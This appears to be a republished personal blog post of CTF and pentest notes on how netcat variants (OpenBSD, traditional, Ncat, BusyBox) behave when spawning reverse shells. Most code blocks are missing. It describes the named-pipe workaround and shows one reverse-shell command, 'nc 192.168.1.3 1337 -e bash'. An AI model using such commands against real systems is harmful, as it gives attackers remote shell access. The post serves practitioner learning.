← 返回列表

which $(nc) when?

单站 Graham Helton 发布 2025-04-26T00:00:00.000Z 入库 2026-11-18T05:21:09

which $(nc) && when?

Admittedly it’s been a while since I’ve sat down and done a proper CTF.

Recently I was trying to get a proof of concept working and I came to the realization that the slight variations of netcat basics were throwing me off during a somewhat time sensitive situation. As such, here is some notes I put together of some footguns to be aware of in the future so I can not waste my valuable brain juice re-remembering this.

TLDR; Avoid shooting yourself in the foot. Run this
oneliner to check for the version of netcat running a different versions
are often aliased to the same nc command.

Netcat

When someone says “netcat” (or runs nc) they’re
probably talking about the OpenBSD version. This comes
installed on many Linux distros by default.

OpenBSD Netcat

The openBSD version of netcat removes some of the original functionality of netcat. Installed by default on many versions of Linux

Listen for a connection:

For “security”, the OpenBSD version of netcat does NOT support the
-e option. To work around this, we can create a named pipe
that will allow the processes to communicate

Note

A named pipe behaves similar to a file in that it is accessible as a file-system entry, but is treated as a pipe (

|) in that it streams data between processes.
To accomplish this:

  1. Remove /tmp/shell (If we’ve done this multiple
    times)
  2. Create a named pipe, /tmp/shell on our local
    machine.
  3. Read data from /tmp/shell
  4. Anything in /tmp/shell is executed by bash
  5. Any output is sent back through netcat

Traditional netcat

Traditional netcat is more straightforward to get a reverse shell
from due to the inclusion of the -e and -c
options which allow for executing shell commands.

Listen for a connection:

Ncat

TLDR; Rewrite of netcat, more robust, probably less common to encounter installed on target systems.

Listen for a connection

Note

You

mustprovide the full path when using the

-e option. nc 192.168.1.3 1337 -e bash will NOT work. I recently shot myself in the foot with this. You will receive a connection in your listener but it will instantly close as bash is not in the execution path. To fix, use the absolute path /bin/bash.

Busybox nc

The busybox software package that contains multiple common utilities condensed into a single binary, you’ll sometimes run into this if working in weird embedded systems, containers, etc.

Listen for a connection

Make a connection:

Note

In busybox netcat, you may not receive any indication of a successful connection. Just be aware of this.

Upgrading the shell

Sometimes it’s helpful to have a better shell. There are multiple ways to do so, but a simple one is using python (if available).

References

原文链接:https://grahamhelton.com/blog/which_netcat.html